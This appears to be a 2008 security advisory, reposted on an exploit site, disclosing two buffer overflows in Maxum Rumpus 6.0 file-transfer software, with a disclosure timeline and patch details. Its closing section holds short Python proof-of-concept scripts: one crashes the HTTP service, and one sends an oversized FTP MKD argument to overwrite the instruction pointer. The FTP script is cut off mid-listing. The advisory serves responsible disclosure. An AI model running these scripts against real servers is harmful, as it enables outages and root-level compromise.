Maxum Rumpus 6.0 Multiple Remote Buffer Overflow Vulnerabilities

ID 1337DAY-ID-6678
Type zdt
Reporter BLUE MOON
Modified 2008-12-01T00:00:00


Exploit for unknown platform in category dos / poc

Maxum Rumpus 6.0 Multiple Remote Buffer Overflow Vulnerabilities


:Title: Two buffer overflows in Maxum Rumpus
:Severity: Critical
:Reporter: Blue Moon Consulting
:Products: Maxum Rumpus v6.0
:Fixed in: 6.0.1


Rumpus turns any Mac into a file transfer server.

Rumpus v6.0 contains two buffer overflow vulnerabilities in its HTTP and FTP modules. 
The first allows an unauthenticated user to crash Rumpus. The later may result in arbitrary 
code execution under superuser privilege.

The overflow in HTTP component is caused by the lack of boundary check when parsing for HTTP 
action verb (GET, POST, PUT, etc.). If the verb is exactly 2908-byte long, the server runs into 
a segmentation fault and crashes. A manual restart is required. It has been observed that this 
problem occurs at other verb lengths too. The vulnerability is rated at moderate severity for the 
lost of service.

The overflow in FTP component is also caused by the lack of length check when parsing FTP commands 
that take argument such as ``MKD``, ``XMKD``, ``RMD`` and so on. The overflow occurs when the argument 
is ``strcpy`` to an internal buffer. This buffer is 1024-byte long. When the passed-in argument is 
longer than 1046 bytes, the instruction pointer will be overwritten. This allows a successful attack 
to run arbitrary code under the privilege of a superuser (root) by default. Though authorization is 
required to exploit this security bug, the vulnerability is rated at critical severity because the FTP 
daemon could be allowing anonymous access.


There is no workaround the first bug.

Disable ANONYMOUS and only allow trusted users to use FTP.


Maxum has released Rumpus v6.0.1 which addressed these bugs.


Blue Moon Consulting adapts `RFPolicy v2.0 <>`_ in notifying vendors.

:Initial vendor contact:

  November 28, 2008: Initial contact sent to [email protected]

:Vendor response:

  November 28, 2008: John requested further communications to be sent to the same address.

:Further communication:

  November 28, 2008: Technical details and request for regular update of a patch sent to the vendor.

  November 29, 2008: Vendor thanked for the bug report and planned to release v6.0.1 on Monday, December 01.

  December 01, 2008: Vendor released 6.0.1 and posted release note at

:Public disclosure: December 01, 2008

:Exploit code:

For the vulnerability in HTTP component::

  from socket import socket, AF_INET, SOCK_STREAM

  host = ""
  port = 80

  s = socket(AF_INET, SOCK_STREAM)
  s.connect((host, port))
  s.send('z' * 2908 + '\n\n')

For the vulnerability in FTP component::

  from socket import socket, AF_INET, SOCK_STREAM
  host = ""
  port = 21
  user = "regular"
  pass_ = "training"
  commands = [
  	'user regular\n',
  	'pass training\n',
  	'mkd ' + 'z' * 1046 + 'abcd\n'
  s = socket(AF_INET, SOCK_STREAM)
  s.connect((host, port))
  for line in commands:


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